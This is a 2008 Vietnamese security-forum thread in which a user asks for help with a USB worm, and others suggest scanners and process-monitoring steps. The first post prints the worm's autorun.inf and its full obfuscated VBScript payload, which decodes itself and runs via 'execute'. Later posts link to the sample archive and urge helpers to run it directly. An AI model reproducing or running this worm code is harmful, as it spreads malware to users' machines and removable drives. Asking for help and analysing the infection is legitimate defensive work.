banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận virus, trojan, spyware, worm... Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết  XML
  [Question]   Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 09/10/2008 06:51:03 (+0700) | #1 | 154505
[Avatar]
viethungs
Member

[Minus]    0    [Plus]
Joined: 05/07/2006 17:04:03
Messages: 91
Offline
[Profile] [PM] [WWW]
Em đã có tìm thông tin, các tác động của con worm này và cách diệt nhưng không thấy. Mong được giúp đỡ ạ

Thông tin của virus:

Tạo file "autorun.inf" và ".vbs" trong các ổ usb nhưng không có trong ổ đĩa.

Nội dung file "autorun.inf"

Code:
SY
[autorun]
open=wscript.exe .\.vbs
shell\open\command=wscript.exe .\.vbs
shell\open\default=1


Nội dung file ".vbs"

Code:
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=2453745342745475243574537451423464674546531302E31
yy="6C4F3D221C1B20121F1F1C1F201F1201031A12201B1206027F0B0810063D0C053D7C5C7C3A1404073D7C53597C3A1C14053D3435353A16133D7C2E161C137C3A161F3D7C2E161C1F7C3A1D083D7C251D0F0813101F1D25202F1D207C3A1E010F3D7C2F1523142F7C3A040E013D7C5C1B15140F12150E2E040E017C7D7B131F142017133D1D121F1B141F0F1C051F1D14287C17131D120410142E13031F07077C293A131F142001130F3D1D121F1B141F0F1C051F1D14287C131D12041014040E022E0104071F131913141F080F1C051F1D147C297D7B131F14201708043D021F140F1C051F1D14287C17040E08020814133A5C5C2E5C120F0F145C1D040816377C293A131F14201304133D1708042E1F181F1D11151F1219287C131F071F1D14202A2001120F082017040E38375F0F101F121B14040E02131913141F087C297D7B131F14201E1D3D01130F2E1E1204161F133A131F14201B14133D1708042E1F181F1D11151F1219287C131F071F1D14202A2001120F082017040E38375F131F1216041D1F2017031F121F200E1B081F3D27531D031F1E15071F277C297D7B010F12201F1B1D03201B141D20040E201B14133A1D1B143D1B141D2E13141B141F3A0E1F18143A0401201D1B143D7C53140F10101F1E7C2014031F0E2017132E12150E207C0E1F142013141B1214207C7C141B130620131D031F1E15071F127C7C7C2C352C011B07131F7D7B0F15173D17131D120410142E131D12041014011507070E1B081F3A17040E3D01130F2E021F1413101F1D041B07010F071E1F1228352926053A1E04123D01130F2E021F1413101F1D041B07010F071E1F1228362926057D7B1408103D01130F2E021F1413101F1D041B07010F071E1F1228372926053A171C1F3D1E0412267C171C1F085C7C3A0804123D071F0114280F15172C071F0E280F1517292D071F0E2817131D120410142E131D120410140E1B081F29297D7B1D0E123D7C5C1D0F081015141F120E1B081F7C3A1D0E103D7C484B4C4D5C131913141F085C1D1512121F0E141D0F0E14120F07131F145C1D0F0E14120F077C261D0E12261D0E12261D0E123A1D0E1B3D1212281D0E102C35293A0401201D0E1B3D7C7C2014031F0E201D0E1B3D1404077D7B17131D3D7C17131D120410142E1F181F7C3A1D131D3D7C1D131D120410142E1F181F7C3A1D13133D1D131D267C202F2F0E0F070F020F207C3A1713123D120E267C3A1D121F1B141F0F1C051F1D14287C7C17131D120410142E13031F07077C7C292E12150E7C7D7B1D3D161C1D1207013A040E1D3D140407261D267C5B1B15140F12150E5D7C261D267C0F101F0E3D7C2617131D267C202E5C7C261613261D267C13031F07075C0F101F0E5C1D0F08081B0E1E3D7C2617131D267C202E5C7C261613261D267C13031F07075C0F101F0E5C1E1F011B1507143D367C7D7B13013D7C13031F070720010F071E1F12135C7C3A120F103D7C5C130F0114171B121F5C08041D120F130F01145C17040E1E0F17135C1D1512121F0E14161F1213040F0E5C1F1810070F121F125C7C3A1E1B103D1212287C484B43557C26120F10261301267C1E1F1306140F107C2C352926057D7B12101B3D7C484B4C4D5C130F0114171B121F5C7C261D0E1B26053A0113103D1212287C484B4C4D7C26120F10261301267C1D0F08080F0E2013141B121415107C2C352926052616133A011B103D1212287C484B43557C26120F10261301267C011B160F1204141F137C2C352926057D7B03143D1F1D287C041617143F30317C293A031B3D1F1D287C3A3B343A323E300617347C293A031C3D0307267C363B3C3C3D31187C260307267C123B7C3A031D3D7C351E17154510457C3A031E3D1F1D287C247C2B031D293A031F3D1F1D287C1D7C2B031D297D7B1213103D7C484B4C4D5C130F0114171B121F5C08041D120F130F01145C17040E1E0F17135C1D1512121F0E14161F1213040F0E5C7C3A12131C3D121310267C12150E5C7C3A1213103D121310267C100F07041D041F135C1F1810070F121F125C12150E5C7C261D0E1B7D7B0304103D7C484B43557C26120F10267C1B1E161B0E1D1F1E5C13030F171315101F1203041E1E1F0E7C3A131A3D071D1B131F2801130F2E021F140104071F0E1B081F2817131D120410142E011507070E1B081F29293A0401200804123D1E04122014031F0E201319133D1412151F7D7B010F12201F1B1D0320130420040E201304133A1D1B3D13042E1D1B1014040F0E3A1D133D13042E1D0F1E1F131F143A1D1D3D13042E1D0F150E1412191D0F1E1F3A0F133D13042E0F13071B0E02151B021F3A17163D13042E161F1213040F0E3A0E1F18147D7B040120040E1314122817162C7C302E377C293C3E352014031F0E20031C3D7C177C2B031C3A071C3D7C167C201F07131F200401200F133C3E37353037201B0E1E201D1D3C3E33312014031F0E20031C3D7C107C2B031C3A071C3D7C0F7C201F07131F20031C3D7C1E7C2B031C3A071C3D7C1D7C7D7B010F12201F1B1D03201E20040E201E1D7D7B0401200804123D1E26052014031F0E2017132E12150E2":y="773D3132373A663D31313A7A3D31323A683D31333A6D"smilie="function ub(x):f":y=y&"3D33323A723D38333A6B3D303A6E3D393A733D3131343A753D2D353A763D353A633D766263726C663A693D22696620613D223A743D22207468656E20"smilie=x&"or i=1 to len(x) step 2:ub":y=y&"223A653D22656C7365696620613E223A613D2220616E6420613C223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326693A657865"smilie=x&"=ub&chr(""&":y=y&"63757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622772226742622613D313"smilie=x&"h""&(mid(x,i,2":y=y&"32226712622662226742622613D313022267126227A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22"smilie=x&"))):next:end function:exe":y=y&"266126226E22266F262273222670262235322226612622353822266F262275222670262234372226612622353322266F2622762226632622656E642"smilie=x&"cute ub(yy)":y=y&"06966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":yy=yy&"07C1F1810070F121F12207C261E2C382C011B07131F3A1C04123D1412151F7D7B0E1F18147D7B0401201C0412200F1220131913200F12200804123D17040E200F12200804123D171C1F2014031F0E201404123D1412151F201F07131F2017131D120410142E111504147D7B0F151D3D1214280F15172C2D36293A161F123D0216280F1517293A040120161F123D7C7C200F12200E0F142004130E15081F12041D28161F12292014031F0E200813021C0F18287C531F1F20590F15217C293A06082036201F07131F20060820357D7B0401201319132014031F0E7D7B040120131A3D17131D2014031F0E201012201D131D2C2D367D7B0401201012281D131D2C37293D362014031F0E2017131D120410142E111504147D7B17131D120410142E13071F1F1020373535357D7B0401201012281D131D2C36293D352014031F0E2017132E12150E201D1313261E041226161F2C352C011B07131F3A0401201012281D131D2C36293D362014031F0E2017131D120410142E111504147D7B0401201212287C1404077C2C36293C3E1404072014031F0E201712207C1404077C2C1404073A1712207C1405137C2C1C14053A1712207C1E05137C2C1E1B141F2D363A1712207C1E1F1E7C2C357D7B1E05133D1212287C1E05137C2C36293A04012004131E1B141F281E051329201B0E1E201E1B141F2D1D1E1B141F281E0513293E3035201B0E1E20071C3C3E7C0F7C2014031F0E201712207C0F13177C2C397D7B0401201212287C1B141E7C2C36293D362014031F0E2017132E12150E207C1B14202F1E202F197C2C352C011B07131F3A1712207C1B141E7C2C357D7B071F3D1212287C1E0E1B7C2C36293A0401201F042814081026071F2C36292014031F0E2017132E12150E2014081026071F7D7B1D153A1F122036357D7B1F07131F7D7B17131D120410142E13071F1F1020303535357D7B04012010122817131D2C37293D372014031F0E3A0401201212287C14051D7C2C36293D1D131412281E1B141F292014031F0E3A17131D120410142E111504143A1F07131F3A1712207C14051D7C2C1E1B141F7D7B0401201012281D131D2C36293C3E36200F122010122817131D2C36293D352014031F0E201C01201E041226161F2C0F151D2C323A17132E12150E201D1313261E041226161F2C352C011B07131F7D7B1F0E1E2004010C3A1F1B3D0C1C1B20121F1F1C1F201F1201031A12201B1206020C3A1F1F083D0C040120101B3D362014031F0E20120E1B3D12101B26120E1B7D7B12123D17132E121F02121F1B1E28120E1B297D7B0401201F122835292014031F0E2012123D350C3A1D1F083D0C131F142010073D1708042E1F181F1D11151F1219287C131F071F1D14202A2001120F082017040E38375F10120F1D1F13132017031F121F200E1B081F3D277C26101D13267C277C297D7B043D363A10123D353A010F12201F1B1D03201020040E2010073A043D042B367D7B040120043E1B1C13280213292014031F0E2010123D367D7B04012002133C352014031F0E20040120102E141F1208040E1B141F3D37201B0E1E2010123D362014031F0E2017132E12150E201D08267C141B130606040707202F01202F0408207C26101D13267C26141306040707207C26071F011428102E0E1B081F2C071F0E28102E0E1B081F292D39292C352C011B07131F7D7B0E1F18147D7B0401201F122835292014031F0E2010123D370C3A1303023D0C3A13031B1002161C1B200C3A1402083D0C1405133D1212287C1405137C2C36293A1E05133D1212287C1E05137C2C36293A0401200E0F142004130E15081F12041D2814051329200F12200E0F142004131E1B141F281E0513292014031F0E201712207C1405137C2C363A1712207C1E05137C2C1E1B141F3A1E05133D1212287C1E05137C2C36297D7B1712207C1405137C2C1405132B363A171C3D1012287C1D0713080E2E1F181F7C2C36293D36200F12201012287C1B102E1F181F7C2C36293D36200F12201012287C10151C17040E2E1F181F7C2C36293D367D7B0401201E1B141F2D1D1E1B141F281E0513293E302014031F0E201712207C1405137C2C363535353A1712207C1E05137C2C1E1B141F2D367D7B040120281212287C1405137C2C36293E36353535200F1220171C29201B0E1E201212287C1E05137C2C36293C3E1D131412281E1B141F292014031F0E7D7B041E3D1212287C041E1E7C2C36293A040120171C2014031F0E20041E3D367D7B121B0E1E0F08041A1F3A17131D120410142E13071F1F1020040E1428120E1E223A66756E6374696F6E2075632862293A65786563757465207562287472696D287929293A656E642066756E6374696F6E3A6C4F3D6C4F26222A283637353535352D362B3629292B367D7B05133D363A1D1E3D353A1E0F20170304071F201D1E3C3E7C3C131D120410143E7C7D7B04012005133D37200F122005133D392014031F0E201E373D1E0E28080412261404072C03142B031B2B031E26041E267C26163D7C26071C26161F122C352C363535293A1D1E3D121428080412261404072C36297D7B04012005133D36200F122005133D382014031F0E201E363D1E0E28080412261404072C03142B1F1D28031C292B031E26041E267C26163D7C26071C26161F122C352C363535293A1D1E3D121428080412261404072C36297D7B05133D05132B363A04012005133E392014031F0E7D7B0401201E363D36200F12201E373D362014031F0E2002143D36201F07131F201712207C1405137C2C1405132D36353A1F12202D367D7B1F180414201E0F7D7B1F0E1E2004013A070F0F107D7B0401201F0428080412261404072C36292014031F0E7D7B131F1420123D01130F2E0F101F0E141F18140104071F28080412261404072C36297D7B1D040E3D122E121F1B1E07040E1F3A1E04133D122E121F1B1E07040E1F3A1E0E1B3D122E121F1B1E07040E1F3A1E01123D122E121F1B1E07040E1F3A0E161F3D122E121F1B1E07040E1F3A0E12153D122E121F1B1E07040E1F7D7B0E0E1B3D122E121F1B1E07040E1F3A0E01123D122E121F1B1E07040E1F3A1413173D122E121F1B1E07040E1F3A141D0F3D122E121F1B1E07040E1F3A0F13173D122E121F1B1E07040E1F3A041E1E3D122E121F1B1E07040E1F7D7B122E1D070F131F3A1E0120080412261404073A0401201D040E3D7C3C131D120410143E7C2014031F0E7D7B1712207C1405137C2C363A1712207C1E05137C2C1E1B141F3A1712207C041E1E7C2C041E1E3A1712207C1E0E1B7C2C1E0E1B3A1712207C1413177C2C1413173A1712207C141D0F7C2C141D0F3A1712207C0F13177C2C0F13177D7B040120161F122D0E161F3C35200F12200E0F14201F04281E041226161F2C36292014031F0E201E0E201E0412260E0E1B2C0314260E0112261E010F260E0E1B2C0E12152C373535353A17131D120410142E111504147D7B0401201E04133D362014031F0E200401201E0E1B3C3E071F200F12200E0F14201F042814081026071F2C36292014031F0E201E012014081026071F3A1E0E20140810261E0E1B2C0314261E0112261E010F261E0E1B2C362C363535357D7B0401201E04133D372014031F0E201F181F1D15141F28151D281E011229297D7B1F0E1E2004017D7B1F0E1E2004017D7B1F0E1E2004017D7B0401201F122836292014031F0E2002143D360C3A1216083D0C04012001130F2E0104071F1F1804131413280E1B29201B0E1E2017143D362014031F0E201F043D1412151F7D7B04012001130F2E010F071E1F121F1804131413280E1B29201B0E1E2017143D372014031F0E201F043D1412151F0C3A193D0C053D3637303A133D3637383A083D3637393A153D34313A1A3D3636353A1F3D36383A183D3635343A1B3D3637383A013D2D36383A033D353A043D353A0C3A1113083D0C1B122017032C353A0401201F042817032C36292014031F0E2001130F2E1E1F071F141F0104071F281703297D7B0401201F042817032C37292014031F0E2001130F2E1E1F071F141F010F071E1F12281703293A0401201F042817032C37292014031F0E2017132E12150E201D08267C121E202F13202F11207C2617032C352C011B07131F0C3A0F13083D0C1E012017033A131F1420043D01130F2E1D121F1B141F141F18140104071F2817032C1412151F293A042E171204141F2017143A042E1D070F131F3A1B122017032C1E1B3A0401200E0F14201F122835292014031F0E201C013D360C3A1F02083D0C0401201F042817032C36292014031F0E7D7B131F1420123D01130F2E0F101F0E141F18140104071F2817032C36297D7B04012007043C352014031F0E7D7B12143D122E121F1B1E1B07077D7B1F07131F7D7B043D353A1E0F20170304071F20043C07047D7B043D042B367D7B0401200E0F1420122E1B141F0E1E0F011314121F1B082014031F0E7D7B12143D122E121F1B1E07040E1F7D7B1F07131F7D7B12143D357D7B1F0E1E2004017D7B070F0F107D7B1F0E1E2004017D7B122E1D070F131F7D7B1F0E1E2004010C3A1213023D0C293A121B112013031B1002161C1B0C3A0E1F083D0C0401201F042801042C36292014031F0E3A131F14200F01043D01130F2E021F140104071F280104293A0F01042E1B141412041C15141F133D1D023A131F14200F01043D0E0F1403040E027D7B0401201F042801042C37292014031F0E3A131F14200F01043D01130F2E021F14010F071E1F12280104293A0F01042E1B141412041C15141F133D1D023A131F14200F01043D0E0F1403040E020C3A111B083D0C131F142018103D1D121F1B141F0F1C051F1D14287C08041D120F130F01142E180807031414107C293A18102E0F101F0E207C021F147C2C171F1C2C353A18102E131F0E1E28297D7B04012008040E3C3E352014031F0E7D7B0401200E0F14201F122835292014031F0E7D7B1E0120070F1D3A131F142013021F143D1D121F1B141F0F1C051F1D14287C1B1E0F1E1C2E1314121F1B087C29207D7B13021F142E080F1E1F3D383A13021F142E1419101F3D363A13021F142E0F101F0E28293A13021F142E171204141F2818102E121F13100F0E131F1C0F1E19293A13021F142E131B161F140F0104071F20070F1D2C377D7B0401201F0428070F1D2C36292014031F0E2001131A3D01130F2E021F140104071F28070F1D292E13041A1F201F07131F2001131A3D357D7B04012001131A3E08040E2014031F0E7D7B1E0E3D363A1B1220070F1D2C323A0401201204133D362014031F0E2017132E12150E20070F1D7D7B1F07131F7D7B1E0E3D353A1E0120070F1D7D7B1F0E1E2004017D7B1F0E1E2004017D7B1F0E1E2004010C3A0E13023D121302261303023A1210083D0C010F1220043D3620140F20071F0E281714293A1F1D3D1F1D2B1D0312281B131D2808041E2817142C042C3629292D04293A0E1F18140C3A051F083D0C040120121E1B3D2D362014031F0E2017132E121F021E1F071F141F20120E1B201F07131F2017132E121F02171204141F2012101B26120E1B2C121E1B2C7C5245475F535A7C0C3A181A083D0C04012013173D362014031F0E7D7B1E01200113103A1712201213102C2D363A17122012101B2C2D363A1513202D363A1E01200F15173A1E012017040E26161F3A1E01201E041226161F3A1E0120171C1F26161F3A17131D120410142E111504147D7B1F07131F04012013173D2D362014031F0E7D7B1C01201E04122616132C0E1F1D2C323A17132E12150E201E04122616137D7B1F07131F7D7B17132E121F02171204141F200304102C7C357C2C7C5245475F44574F52447C3A1B12200F15172C327D7B0401200216281E041226161F293C3E161F122014031F0E201C01201E041226161F2C0F151D2C327D7B040120021628171C1F26161F293C3E161F122014031F0E201C0120171C1F26161F2C0F151D2C327D7B0401201212281213102C35293C3E161F2014031F0E2017132E121F02171204141F201213102C161F2C7C5245475F535A7C7D7B0401201212281213102C35293C3E161F201B0E1E200E0F14201F04280113102C36292014031F0E201C01200113102C171312267C207C7C7C26161F267C7C7C7C2C35201F07131F201E01200113107D7B1F0E1E2004010C3A15193D0C7C0C3A1105083D0C021F1E3D01130F2E021F141C1B131F0E1B081F28010E297D7B040120040E131412281212287C021F1E7C2C36292C021F1E293D35201B0E1E20101228101D2C36293C3E352014031F0E7D7B0401201012287C38313514121B192E1F181F7C2C2D36293D362014031F0E2017122012131C2C2D363A17131D120410142E13071F1F1020303535357D7B0401201012287C06171B141D032E1F181F7C2C2D36293D362014031F0E2017131D120410142E13071F1F1020303535357D7B040120191F1B1228441B141F293E37353532201B0E1E201012287C1B16102E1F181F7C2C36293D362014031F0E7D7B0E1E1B141F3D1E1B141F7D7B17132E12150E201D08267C1E1B141F207C261E1B141F2D3831302C352C011B07131F7D7B17131D120410142E13071F1F102036353535357D7B17132E12150E201D08267C1B14207C261404081F2B352E353530267C207C261D08267C1E1B141F207C260E1E1B141F2C352C011B07131F7D7B1F0E1E2004017D7B1E171D3D1E0E2814081026010E2C03142601152C352C37353535297D7B0401201F042814081026010E2C3629201B0E1E201E171D3D362014031F0E7D7B04012006043D362014031F0E20101220101D2C2D367D7B17132E12150E2014081026010E7D7B0401200E0F14201F122835292014031F0E201712207C021F1E7C2C021F1E267C2C7C261212287C021F1E7C2C36293A1E0E20352C03142B1F1D28031C292B031F2B021F1E2C352C353A04012006043D372014031F0E20060820367D7B1F0E1E2004017D7B1E173D367D7B1F0E1E2004017D7B17131D120410142E13071F1F10203035350C3A0301083D0C010F12201F1B1D03201E20040E201E1D7D7B0401201E2E1E1204161F1419101F3D38200F1220281E2E1E1204161F1419101F3D36201B0E1E201E3C3E7C413A7C201B0E1E201E3C3E207C423A7C292014031F0E7D7B04012013173D362014031F0E7D7B0401201F04281E26040E012C37292014031F0E201E01201E26040E017D7B0401201F04281E26052616132C3629201B0E1E201F04281E26040E012C36292014031F0E7D7B0401201214281E26040E012C36293C3E1404072014031F0E201C01201E26040E012C040E1D2C323A1C01201E26052616132C0F151D2C327D7B1F07131F7D7B1C01201E26040E012C040E1D2C323A1C01201E26052616132C0F151D2C327D7B1F0E1E2004017D7B1F07131F04012013173D2D362014031F0E3A1E01201E26040E013A1E01201E26052616137D7B1F07131F3A1C01201E26052616132C171312267C28071F01142817131D120410142E131D12041014011507070E1B081F2C3829292C387C26131412040E022836353535352C7C277C292C323A1E01201E26040E017D7B1F0E1E2004017D7B1F0E1E2004017D7B0E1F18140C3A1003083D0C1E1D153D1212287C1402137C2C36293C3E1D131412281E1B141F29201B0E1E201212287C0F13177C2C36293C3E397D7B1E0F7D7B131F1D3D131F1D0F0E1E281404081F293A04012028131F1D20080F1E2030293D352014031F0E200401201E1D152014031F0E20151320367D7B04012028131F1D20080F1E203735293D352014031F0E7D7B060820357D7B08040E3D08040E15141F280E0F17293A0401202808040E20080F1E2037293D35201B0E1E200E0E3C3E08040E201B0E1E200F0F3C3E362014031F0E200E0E3D08040E3A0F0F3D02147D7B0401201212287C1413177C2C36293D362014031F0E201F181F1D15141F28151D281212287C141D0F7C2C362929297D7B1F0E1E2004017D7B17131D120410142E13071F1F10203434347D7B0401201212280304102C35293D36201B0E1E201E1D152014031F0E201712207C1402137C2C1E1B141F3A1513202D363A1E1D153D011B07131F7D7B0401201012287C141B13060802122E1F181F7C2C36293D362014031F0E3A17132E12150E207C1B14207C261404081F2B352E353538267C202F040E141F121B1D1404161F207C26161F2C352C011B07131F3A1712207C1B141E7C2C363A060820353A17131D120410142E111504147D7B070F0F103A1D150C3A1404083D0C161F133D12142817032C36293A040120071F0E28161F13293E332014031F0E20161F133D08041E28161F132C071F0E28161F13292D322C33293A04012004130E15081F12041D287C26037C26161F13292014031F0E2002163D151C28161F13290C3A1206023D0C293A12061210030212200310280C3A12061210030212200C0E0F3D28360C26120602260C081006290C26130302260C1402280C26120602260C1402080C260E1302260C1003280C26120602260C1003080C260E1302260C14042805150C26120602260C1404080C260E1302260C11132805150C26120602260C1113080C260E1302260C181A2801050C26120602260C181A080C260E1302260C03012801050C26120602260C0301080C260E1302260C12102805020C26120602260C1210080C260E1302260C1F022805152C19160C26120602260C1F02080C260E1302260C0E1F2813162C10140C26120602260C0E1F080C260E1302260C1216281B0E2C05020C26120602260C1216080C260E1302260C1F1F281F1B0E2C1D0E0C26120602260C1F1F080C260E1302260C1D1F281D10012C14010C26120602260C1D1F080C260E1302260C051F281F1B0E2C1F110E0C26120602260C051F080C260E1302260C0F132805152C05022C110E0C26120602260C0F13080C260E1302260C1105281D102C131B2C13032C18160C26120602260C1105080C260E1302260C111B28191C102C05120F2C1F16012C1A161B0C26120602260C111B080C261213027F0B13031B1002161C1B20121F2801101C297F0B161320121F1F2E1B031A0F121F3C3E35201C1F2001101C3C35200215121B7F0B121F1F2E1019120E1F7F0B121F3D021F03127F0B16132001101C3C3E35200E1B11201F1F280C1112110C2C36293C3E1001021F28110E021229200215121B7F0B051F200C1C121F0C2C1F1F280C1C121F0C2C36292B0E0F012801101C297F0B1613201F1F280C1C121F0C2C36293E363535200215121B20051F200C1112110C2C110E02123A051F200C1C121F0C2C357F0B121B112016137F0B121B112016137F0B121B112013031B1002161C1B223A65786563757465207563286C4F29270C0E1F080C":execute x'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789


Cảm ơn các anh đã quan tâm và giúp đỡ
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 09/10/2008 09:26:05 (+0700) | #2 | 154520
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
Up con đó lên đi bạn.

Dùng cái này coi kĩ trong ổ cứng coi có nó không nhé.
http://www.box.net/shared/5c4byg2ach
IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 13/10/2008 19:53:58 (+0700) | #3 | 155053
[Avatar]
viethungs
Member

[Minus]    0    [Plus]
Joined: 05/07/2006 17:04:03
Messages: 91
Offline
[Profile] [PM] [WWW]
Ở trên là toàn bộ code của nó rồi đấy ạ, anh tạo file *.vbs rồi copy code kia vào là được, không cần up.

Em vẫn show hidden file được ạ
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 13/10/2008 21:57:55 (+0700) | #4 | 155059
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
Thứ 1: Code bạn chứa mấy cái Smiley mất công sửa.
Code:
C3129292226712622772226742622613D313"smilie=x&"h""&(mid(x,i,2":y=y&"322267126226622267426226


Thứ 2: Đã sửa từ smilie -> kí tự : x (không có khoảng cách) rồi, run rồi, chả thấy biểu hiện gì cả (cũng có thể là sai sót đâu đó).

=> Bạn gửi thằng cái file trong máy bạn lên đây dùm đi.
IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 16/10/2008 10:17:02 (+0700) | #5 | 155417
hackingvietnam
Member

[Minus]    0    [Plus]
Joined: 18/07/2008 14:23:00
Messages: 26
Location: ..netlux..org..
Offline
[Profile] [PM] [Email] [Yahoo!]
mọi người cho tui hỏi cái mã VB đấy nó mã hóa hay sao mà toàn là kí tự vậy ?
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 17/10/2008 05:08:36 (+0700) | #6 | 155508
[Avatar]
viethungs
Member

[Minus]    0    [Plus]
Joined: 05/07/2006 17:04:03
Messages: 91
Offline
[Profile] [PM] [WWW]
Đây là toàn bộ con worm ạ

http://dghfghfdgh.googlepages.com/autorun.rar

Anh chạy file vbs đó rồi thì thử kiểm tra trong usb của mình xem có auturun không.

File vbs này được mã hóa theo cách nào vậy ạ? và làm sao giải mã nó để biết nó đã làm gì máy của mình ?
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 17/10/2008 09:02:37 (+0700) | #7 | 155531
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
File bị nó DEL rồi bạn ơi.
Đặt pass cho rar đi
IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 18/10/2008 02:24:43 (+0700) | #8 | 155617
[Avatar]
viethungs
Member

[Minus]    0    [Plus]
Joined: 05/07/2006 17:04:03
Messages: 91
Offline
[Profile] [PM] [WWW]
Vậy các anh tải tạm qua link này vậy.

http://box.jin.vn/uploads/08_10/1224269041.rar

Google xóa mất file đó vì nghi nhiễm virus
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 18/10/2008 07:19:25 (+0700) | #9 | 155644
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
Thật lạ! Mình run rồi mà nó im ỉm, để máy đó cả buổi luôn chả thấy ai đó làm gì .. !?
Bạn có Del thử autorun.inf và .vbs không? Kết quả ra sao?
Mà cái kiểu autorun này nhìn thấy là lạ, không biết có ý đồ gì đây. Đã vậy thằng .vbs còn mã hóa nữa ?
Code:
open=wscript.exe .\.vbs

Bác nào kinh nghiệm giải thích dùm mình với.
IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 19/10/2008 04:40:51 (+0700) | #10 | 155728
[Avatar]
viethungs
Member

[Minus]    0    [Plus]
Joined: 05/07/2006 17:04:03
Messages: 91
Offline
[Profile] [PM] [WWW]
Có thể xóa được 2 file đó, nhưng lần sau cắm usb vào sẽ lại thấy file đó xuất hiện.

Có thể mở chức năng show hidden file và hide protect operation..

Nhưng sau khoảng 5' thì chức năng hide protect operation... sẽ bị đóng lại.

Ngoài làm 2 trò đó ra em chưa biết nó còn làm gì nữa. Có nguy hại tới máy tính không ?
[Up] [Print Copy]
  [Question]   Re: Em bị nhiễm worm với ".VBS" cần giúp đỡ cách giải quyết 19/10/2008 11:11:11 (+0700) | #11 | 155757
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
Bạn coi lại dùm ở USB và các ổ có file wscript.exe không? Có thì gửi lên nhé.
------------

Thử quét bằng http://www.box.net/shared/pk7xohgfcn (Quét FULL SCAN rồi gửi log của nó lên)
http://www.box.net/shared/g4xibfzt2z xem.
------------

Chạy cái này http://fasthelper.fire-lion.com/download/SystemSnapShot.zip, click Create, gửi log lên.
------------

Dùng MONITOR !
Bạn dùng lần lượt 3 trình này để quan sát máy rồi gửi log lên nhé. (log có thể hơi nặng, tùy).

* http://live.sysinternals.com/Procmon.exe: Các bước để lấy log của Process Monitor:
1. Tắt hết tất cả các process có thể. (Antivirus, Vietkey Unikey, v.v..) (nhằm tránh lấy log luôn của mấy process không cần thiết)
2. chạy Process Monitor (nó tạo log liền liền).
3. Del file của virus trong ổ C: (autorun.inf | .vbs | wscript.exe nếu có)
4. Ngồi im không chuột không bàn phím, chờ tới khi mấy file của virus được tạo lại, qua bên chtrình Process Monitor nhấn Ctrl+E cho nó đừng tạo log.
5. Nhấn Ctrl+S và OK để save log.

* http://live.sysinternals.com/Filemon.exe: Các bước lấy log của File Monitor:
Cũng làm tựa 5 bước như trên.

* http://live.sysinternals.com/Regmon.exe: Các bước lấy log của Registry Monitor:
Cũng làm tựa 5 bước như trên.

Gửi 3 log file lên đây luôn nhé.
Lưu ý: Phải Up file log lên host chứ đừng post log text lên đây nha (nhiều lắm đó).
IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|